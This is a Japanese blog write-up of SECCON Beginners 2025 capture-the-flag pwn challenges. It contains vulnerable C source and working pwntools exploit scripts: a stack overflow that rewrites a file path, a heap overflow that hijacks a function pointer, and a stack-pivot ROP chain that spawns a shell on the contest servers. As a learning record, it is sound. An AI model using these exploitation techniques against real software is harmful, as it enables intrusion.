2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

初めてのCTF SECCON Beginners 2025

Posted at

はじめに

CTFを始めて3か月弱でSECCON Beginners 2025に参加しました。
バイナリを中心に勉強してたのでバイナリに全振りして最初の2問しか解けませんでした(笑)
解けた2問と途中の3問目だけですが簡単にまとめました。

pet_name

ペットに名前を付けましょう。ちなみにフラグは/home/pwn/flag.txtに書いてあるみたいです。

とりあえず普通に動かしてみる。
ソースコード見ても分かるようにmeowが返ってくるだけっぽい。

$ nc pet-name.challenges.beginners.seccon.jp 9080
Your pet name?: hogehoge
hogehoge sound: meow
main.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void init() {
    // You don't need to read this because it's just initialization
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
}

int main() {
    init();

    char pet_name[32] = {0};
    char path[128] = "/home/pwn/pet_sound.txt";

    printf("Your pet name?: ");
    scanf("%s", pet_name);

    FILE *fp = fopen(path, "r");
    if (fp) {
        char buf[256] = {0};
        if (fgets(buf, sizeof(buf), fp) != NULL) {
            printf("%s sound: %s\n", pet_name, buf);
        } else {
            puts("Failed to read the file.");
        }
        fclose(fp);
    } else {
        printf("File not found: %s\n", path);
    }
    return 0;
}

ユーザーからの入力を受けてくれるので何も考えずバッファーオーバーフローしてみる。

$ nc pet-name.challenges.beginners.seccon.jp 9080
Your pet name?: 0123456789abcdef0123456789abcdef0123456789abcdef
File not found: 0123456789abcdef

pet_name[32]から溢れた16文字がpath[128]を侵食したので、問題文にあったパスを直接入力してみる。

$ nc pet-name.challenges.beginners.seccon.jp 9080
Your pet name?: 0123456789abcdef0123456789abcdef/home/pwn/flag.txt
0123456789abcdef0123456789abcdef/home/pwn/flag.txt sound: ctf4b{3xp1oit_pet_n4me!}

pet_sound

ペットに鳴き声を教えましょう。

⇒(´・ω・`)知らんがな
普通に動かす。

$ nc pet-sound.challenges.beginners.seccon.jp 9090
--- Pet Hijacking ---
Your mission: Make Pet speak the secret FLAG!

[hint] The secret action 'speak_flag' is at: 0x606e5dc13492
[*] Pet A is allocated at: 0x606e786bf2a0
[*] Pet B is allocated at: 0x606e786bf2d0

[Initial Heap State]

--- Heap Layout Visualization ---
0x0000606e786bf2a0: 0x0000606e5dc135d2 <-- pet_A->speak
0x0000606e786bf2a8: 0x00002e2e2e6e6177 <-- pet_A->sound
0x0000606e786bf2b0: 0x0000000000000000
0x0000606e786bf2b8: 0x0000000000000000
0x0000606e786bf2c0: 0x0000000000000000
0x0000606e786bf2c8: 0x0000000000000031
0x0000606e786bf2d0: 0x0000606e5dc135d2 <-- pet_B->speak (TARGET!)
0x0000606e786bf2d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x0000606e786bf2e0: 0x0000000000000000
0x0000606e786bf2e8: 0x0000000000000000
0x0000606e786bf2f0: 0x0000000000000000
0x0000606e786bf2f8: 0x0000000000020d11
---------------------------------

Input a new cry for Pet A > hogehoge

[Heap State After Input]

--- Heap Layout Visualization ---
0x0000606e786bf2a0: 0x0000606e5dc135d2 <-- pet_A->speak
0x0000606e786bf2a8: 0x65676f6865676f68 <-- pet_A->sound
0x0000606e786bf2b0: 0x000000000000000a
0x0000606e786bf2b8: 0x0000000000000000
0x0000606e786bf2c0: 0x0000000000000000
0x0000606e786bf2c8: 0x0000000000000031
0x0000606e786bf2d0: 0x0000606e5dc135d2 <-- pet_B->speak (TARGET!)
0x0000606e786bf2d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x0000606e786bf2e0: 0x0000000000000000
0x0000606e786bf2e8: 0x0000000000000000
0x0000606e786bf2f0: 0x0000000000000000
0x0000606e786bf2f8: 0x0000000000020d11
---------------------------------
Pet says: hogehoge

Pet says: wan...
main.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Pet;
void speak_flag(struct Pet *p);
void speak_sound(struct Pet *p);
void visualize_heap(struct Pet *a, struct Pet *b);

struct Pet {
    void (*speak)(struct Pet *p);
    char sound[32];
};

int main() {
    struct Pet *pet_A, *pet_B;

    setbuf(stdout, NULL);
    setbuf(stdin, NULL);

    puts("--- Pet Hijacking ---");
    puts("Your mission: Make Pet speak the secret FLAG!\n");
    printf("[hint] The secret action 'speak_flag' is at: %p\n", speak_flag);

    pet_A = malloc(sizeof(struct Pet));
    pet_B = malloc(sizeof(struct Pet));

    pet_A->speak = speak_sound;
    strcpy(pet_A->sound, "wan...");
    pet_B->speak = speak_sound;
    strcpy(pet_B->sound, "wan...");

    printf("[*] Pet A is allocated at: %p\n", pet_A);
    printf("[*] Pet B is allocated at: %p\n", pet_B);
    
    puts("\n[Initial Heap State]");
    visualize_heap(pet_A, pet_B);

    printf("\n");
    printf("Input a new cry for Pet A > ");
    read(0, pet_A->sound, 0x32);

    puts("\n[Heap State After Input]");
    visualize_heap(pet_A, pet_B);

    pet_A->speak(pet_A);
    pet_B->speak(pet_B);

    free(pet_A);
    free(pet_B);
    return 0;
}

void speak_flag(struct Pet *p) {
    char flag[64] = {0};
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL) {
        puts("\nPet seems to want to say something, but can't find 'flag.txt'...");
        return;
    }
    fgets(flag, sizeof(flag), f);
    fclose(f);
    flag[strcspn(flag, "\n")] = '\0';

    puts("\n**********************************************");
    puts("* Pet suddenly starts speaking flag.txt...!? *");
    printf("* Pet: \"%s\" *\n", flag);
    puts("**********************************************");
    exit(0);
}

void speak_sound(struct Pet *p) {
    printf("Pet says: %s\n", p->sound);
}

void visualize_heap(struct Pet *a, struct Pet *b) {
    unsigned long long *ptr = (unsigned long long *)a;
    puts("\n--- Heap Layout Visualization ---");
    for (int i = 0; i < 12; i++, ptr++) {
        printf("0x%016llx: 0x%016llx", (unsigned long long)ptr, *ptr);
        if (ptr == (unsigned long long *)&a->speak) printf(" <-- pet_A->speak");
        if (ptr == (unsigned long long *)a->sound)   printf(" <-- pet_A->sound");
        if (ptr == (unsigned long long *)&b->speak) printf(" <-- pet_B->speak (TARGET!)");
        if (ptr == (unsigned long long *)b->sound)   printf(" <-- pet_B->sound");
        puts("");
    }
    puts("---------------------------------");
}

ここでもみんな大好きバッファーオーバーフローしてみる。

$ nc pet-sound.challenges.beginners.seccon.jp 9090
--- Pet Hijacking ---
Your mission: Make Pet speak the secret FLAG!

[hint] The secret action 'speak_flag' is at: 0x5beb642a9492
[*] Pet A is allocated at: 0x5beb91e242a0
[*] Pet B is allocated at: 0x5beb91e242d0

[Initial Heap State]

--- Heap Layout Visualization ---
0x00005beb91e242a0: 0x00005beb642a95d2 <-- pet_A->speak
0x00005beb91e242a8: 0x00002e2e2e6e6177 <-- pet_A->sound
0x00005beb91e242b0: 0x0000000000000000
0x00005beb91e242b8: 0x0000000000000000
0x00005beb91e242c0: 0x0000000000000000
0x00005beb91e242c8: 0x0000000000000031
0x00005beb91e242d0: 0x00005beb642a95d2 <-- pet_B->speak (TARGET!)
0x00005beb91e242d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x00005beb91e242e0: 0x0000000000000000
0x00005beb91e242e8: 0x0000000000000000
0x00005beb91e242f0: 0x0000000000000000
0x00005beb91e242f8: 0x0000000000020d11
---------------------------------

Input a new cry for Pet A > 0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef

[Heap State After Input]

--- Heap Layout Visualization ---
0x00005beb91e242a0: 0x00005beb642a95d2 <-- pet_A->speak
0x00005beb91e242a8: 0x3736353433323130 <-- pet_A->sound
0x00005beb91e242b0: 0x6665646362613938
0x00005beb91e242b8: 0x3736353433323130
0x00005beb91e242c0: 0x6665646362613938
0x00005beb91e242c8: 0x3736353433323130
0x00005beb91e242d0: 0x6665646362613938 <-- pet_B->speak (TARGET!)
0x00005beb91e242d8: 0x00002e2e2e6e3130 <-- pet_B->sound
0x00005beb91e242e0: 0x0000000000000000
0x00005beb91e242e8: 0x0000000000000000
0x00005beb91e242f0: 0x0000000000000000
0x00005beb91e242f8: 0x0000000000020d11
---------------------------------
Pet says: 0123456789abcdef0123456789abcdef0123456789abcdef01n...
Segmentation fault (core dumped)

pet_B->speak (TARGET!)の値が変わったので、ヒントに書いてあるspeak_flagのアドレスを書き込んでみる。
ただ、アドレスは変わるのでヒントからアドレスを取得する必要がある。
取得したら40バイト分の適当な文字列にspeak_flagのアドレスを加えてspeak_flagを実行させる。

exploit.py
#!/usr/bin/python3
from pwn import *
import re

host = 'pet-sound.challenges.beginners.seccon.jp'
port = 9090

#io = process('./chall')
io = remote(host, port)

recValue = io.recvuntil(b'Input a new cry for Pet A >')
recValue_str = recValue.decode()
print(recValue_str)

match = re.search(r"The secret action 'speak_flag' is at: (0x[0-9a-fA-F]+)", recValue_str)
if match:
    addr = int(match.group(1), 16)
    log.success(f"speak_flag address: {hex(addr)}")
else:
    log.error("speak_flag address not found.")

payload = b"A" * 40
payload += p64(addr)

io.send(payload)

response = io.recvall()
print(response.decode('utf-8', errors='replace'))
$ python3 exploit.py
[+] Opening connection to pet-sound.challenges.beginners.seccon.jp on port 9090: Done
--- Pet Hijacking ---
Your mission: Make Pet speak the secret FLAG!

[hint] The secret action 'speak_flag' is at: 0x5eebd37ba492
[*] Pet A is allocated at: 0x5eebd97a82a0
[*] Pet B is allocated at: 0x5eebd97a82d0

[Initial Heap State]

--- Heap Layout Visualization ---
0x00005eebd97a82a0: 0x00005eebd37ba5d2 <-- pet_A->speak
0x00005eebd97a82a8: 0x00002e2e2e6e6177 <-- pet_A->sound
0x00005eebd97a82b0: 0x0000000000000000
0x00005eebd97a82b8: 0x0000000000000000
0x00005eebd97a82c0: 0x0000000000000000
0x00005eebd97a82c8: 0x0000000000000031
0x00005eebd97a82d0: 0x00005eebd37ba5d2 <-- pet_B->speak (TARGET!)
0x00005eebd97a82d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x00005eebd97a82e0: 0x0000000000000000
0x00005eebd97a82e8: 0x0000000000000000
0x00005eebd97a82f0: 0x0000000000000000
0x00005eebd97a82f8: 0x0000000000020d11
---------------------------------

Input a new cry for Pet A >
[+] speak_flag address: 0x5eebd37ba492
[+] Receiving all data: Done (881B)
[*] Closed connection to pet-sound.challenges.beginners.seccon.jp port 9090

[Heap State After Input]

--- Heap Layout Visualization ---
0x00005eebd97a82a0: 0x00005eebd37ba5d2 <-- pet_A->speak
0x00005eebd97a82a8: 0x4141414141414141 <-- pet_A->sound
0x00005eebd97a82b0: 0x4141414141414141
0x00005eebd97a82b8: 0x4141414141414141
0x00005eebd97a82c0: 0x4141414141414141
0x00005eebd97a82c8: 0x4141414141414141
0x00005eebd97a82d0: 0x00005eebd37ba492 <-- pet_B->speak (TARGET!)
0x00005eebd97a82d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x00005eebd97a82e0: 0x0000000000000000
0x00005eebd97a82e8: 0x0000000000000000
0x00005eebd97a82f0: 0x0000000000000000
0x00005eebd97a82f8: 0x0000000000020d11
---------------------------------
Pet says: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��{��^

**********************************************
* Pet suddenly starts speaking flag.txt...!? *
* Pet: "ctf4b{y0u_expl0it_0v3rfl0w!}" *
**********************************************

pet_B->speak (TARGET!)のアドレスが書き換わってフラグ奪取。

pivot4b(奪取できんかった)

スタックはあなたが創り出すものです。

⇒さいですか
普通に実行。

$ nc pivot4b.challenges.beginners.seccon.jp 12300
Welcome to the pivot game!
Here's the pointer to message: 0x7fff0a5a70c0
> 0123456789abcdef0123456789abcdef0123456789abcdef
Message: 0123456789abcdef0123456789abcdef0123456789abcdef

ソースコードを見てみると、gift_set_first_arg()とgift_call_system()がある。
ROP(Return Oriented Programming)のための材料が置いてあるのでROPでシェルを呼び出してフラグを奪取する方針で進めたが力尽きた…
ROPするときにpop rdi; ret;が都合いいらしい。
あとはsystem関数のアドレスが置いてくれてる。

src.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gift_set_first_arg() {
	asm volatile("pop %rdi");
	asm volatile("ret");
}

void gift_call_system() {
	system("echo \"Here's your gift!\"");
}

int main() {
	char message[0x30];

	printf("Welcome to the pivot game!\n");
	printf("Here's the pointer to message: %p\n", message);

	printf("> ");
	read(0, message, sizeof(message) + 0x10);

	printf("Message: %s\n", message);

	return 0;
}


__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

以下は失敗作
スタックの構成

|---------------------------|
|0x0000	|"/bin/sh"			|
|---------------------------|
|0x0008	|pop rdi; ret		|
|---------------------------|
|0x0010	|&message[0]		|
|---------------------------|
|0x0018	|system()			|
|---------------------------|
|0x0020	|0x0000000000000000	|
|---------------------------|
|0x0028	|0x0000000000000000	|
|---------------------------|
|0x0030	|0x0000000000000000	|
|---------------------------|
|0x0038	|&message[0] + 0x08	|
|---------------------------|
exploit.py
from pwn import *

elf = ELF('/bin/sh')
rop = ROP(elf)

host = 'pivot4b.challenges.beginners.seccon.jp'
port = 12300

gdb_script = f"""break *0x00000000004011f1"""

io = process('./chall')
#io = gdb.debug('./chall', aslr=False, gdbscript=gdb_script)
#io = remote(host, port)

output = io.recvuntil(b'>')
output_str = output.decode()
log.info(output_str)
match = re.search(r"Here's the pointer to message: (0x[0-9a-fA-F]+)", output_str)
if match:
    addr = int(match.group(1), 16)
    log.success(f"address: {hex(addr)}")
else:
    log.error("address not found.")

pop_rdi_ret = 0x40117a
binsh_addr = addr
system_addr = 0x401040

payload = b"/bin/sh\0"
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += b"\0" * (0x38 - len(payload))
payload += p64(addr + 0x08)

log.info(f"payload : {payload}")
log.info(f"len : {len(payload)}")
io.send(payload)
io.interactive()
$ python3 exploit.py
[*] '/bin/sh'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
[*] Loaded 66 cached gadgets for '/bin/sh'
[+] Starting local process './chall': pid 1826
[*] Welcome to the pivot game!
    Here's the pointer to message: 0x7ffdd0025510
    >
[+] address: 0x7ffdd0025510
[*] payload : b'/bin/sh\x00z\x11@\x00\x00\x00\x00\x00\x10U\x02\xd0\xfd\x7f\x00\x00@\x10@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18U\x02\xd0\xfd\x7f\x00\x00'
[*] len : 64
[*] Switching to interactive mode
 Message: /bin/sh
[*] Got EOF while reading in interactive
$
[*] Process './chall' stopped with exit code -11 (SIGSEGV) (pid 1826)
[*] Got EOF while sending in interactive

こんな感じでシェル奪取できず力尽きた…
終了後にSECCON鯖のpwnableチャンネルにて、スタックのアライメントに関するチャットがあり、Pythonコードを上げてくださっていたので自分のコードに足りない命令を追加して再度実行したらシェル奪取成功。
共有してくださった方には、この場を借りて感謝を申し上げます。

exploit.py
#!/usr/bin/python3
from pwn import *

elf = ELF('/bin/sh')
rop = ROP(elf)

host = 'pivot4b.challenges.beginners.seccon.jp'
port = 12300

gdb_script = f"""break *0x00000000004011f1"""

#io = process('./chall')
#io = gdb.debug('./chall', aslr=False, gdbscript=gdb_script)
io = remote(host, port)

output = io.recvuntil(b'>')
output_str = output.decode()
log.info(output_str)
match = re.search(r"Here's the pointer to message: (0x[0-9a-fA-F]+)", output_str)
if match:
    addr = int(match.group(1), 16)
    log.success(f"address: {hex(addr)}")
else:
    log.error("address not found.")

ret_addr = 0x40101a
pop_rdi_ret = 0x40117a
binsh_addr = addr
system_addr = 0x401040
leave_addr = 0x401211

payload = b"/bin/sh\0"
payload += p64(ret_addr)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += b"\0" * (0x30 - len(payload))
payload += p64(addr)
payload += p64(leave_addr)

log.info(f"payload : {payload}")
log.info(f"len : {len(payload)}")
io.send(payload)
io.interactive()
$ python3 exploit.py
[*] '/bin/sh'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
[*] Loaded 66 cached gadgets for '/bin/sh'
[+] Opening connection to pivot4b.challenges.beginners.seccon.jp on port 12300: Done
[*] Welcome to the pivot game!
    Here's the pointer to message: 0x7ffdb9799360
    >
[+] address: 0x7ffdb9799360
[*] payload : b'/bin/sh\x00\x1a\x10@\x00\x00\x00\x00\x00z\x11@\x00\x00\x00\x00\x00`\x93y\xb9\xfd\x7f\x00\x00@\x10@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`\x93y\xb9\xfd\x7f\x00\x00\x11\x12@\x00\x00\x00\x00\x00'
[*] len : 64
[*] Switching to interactive mode
 Message: /bin/sh
$ ls
flag-bce7759151aa98ff2e61358f578ec2eb.txt
run
$ cat flag*
ctf4b{7h3_57ack_c4n_b3_wh3r3v3r_y0u_l1k3}
$

pivot4b++(未着手)

pivot4bからGiftがなくなってしまいました...

無理だった

TimeOfControl(未着手)

カーネルの世界に足を踏み入れてみませんか?

⇒勘弁してくれ
戦意喪失

おわりに

とりあえず頑張った。
次の機会があったらROP問題は攻略できるようになることを目標にやっていこうと思う。

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?